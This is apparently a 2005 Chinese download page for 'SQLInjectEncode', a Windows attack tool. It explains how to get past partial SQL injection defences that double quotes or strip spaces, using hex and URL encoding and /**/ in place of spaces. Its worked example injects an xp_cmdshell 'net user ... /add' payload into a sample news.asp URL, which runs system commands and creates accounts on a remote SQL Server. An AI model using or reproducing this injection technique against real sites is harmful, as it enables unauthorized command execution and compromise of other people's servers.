SQLInjectEncode.rar提交时间:2005-03-29 提交用户:kennidy 工具分类:攻击程序 运行平台:Windows 工具大小:237936 Bytes 文件MD5 :334041c8427a79ee31dcbda0afec9197 工具来源:村雨Murasame 安全焦点帐号kennidy 使用说明和原理简介: 对于sql注入很多站点开始采用replace(request("id"),"'","''")一个单引号转成两个单引号来过滤, 也有通过replace(request("id")," ","")消去所有空格来过滤。 对于"select * from tablename where id='" & replace(request("id"),"'","''") & "'"这种过滤,目前没有任何破解办法, 但是有很多站点却在select * from tablename where id=" & replace(request("id"),"'","''")来过滤, 因为提交的参量两遍并没有单引号封死,而仅仅依靠过滤用户数据的单引号来防御 sql注入。这种防御可以导致正常的sql注入失败,这是一个注入半防御状态。但是如果我们能够避 开单引号的话,那么那种防御就毫无意义。同理过滤空格也一样。 工作流程 1. 用户输入sql指令,比如exec master.dbo.xp_cmdshell 'net user hectic /add' 2. 本程序第一步合成为 declare @Z varchar(8000) set @Z='exec master.dbo.xp_cmdshell ''net user hectic /add''' execute(@Z)-- 3. 本程序第二步合成为 declare @Z varchar(8000) set @Z=0x65786563...2f616464 execute(@Z)-- 4. 本程序第三步和成为 %64%65%63%6c...%5a%29%2d%2d 5. 本程序第四步前面添加%20作为注入点隔断符 6. 如果对方过滤空格,可以选择Filte %20,本程序转换成%2f%2a%2a%2f 使用例子 比如http://www.xxx.com/news.asp?id=255存在注入过滤防御半完成状态 那么假设我们希望的命令是exec master.dbo.xp_cmdshell 'net user pop /add' 把这条命令输入大框,本程序允许多行编辑,所以sql代码可以在本地sqlserver客户端 query analyzer测试通过后直接从query analyzer把代码粘贴拷贝过来也可以。程序在编码 过程中会自动消去换行\r\n。 然后点encode按钮。 然后把上面很条输入框的内容全部粘贴放到id=255的后面(加不加空格无所谓,因为程序 帮你加了隔断)。 然后你的sql代码就可以在对方的sqlserver运行了。 注入完成。 如果对方同时有空格过滤,那么可以选中Filte %20然后再点Encode来生成对应的编码串。 申明 该工具用于任何用途带来的任何后果,由使用者负责,作者不承担任何责任。 该工具最先由0x557.org发布。 作者 村雨Murasame QQ3145930 >> 下载 << |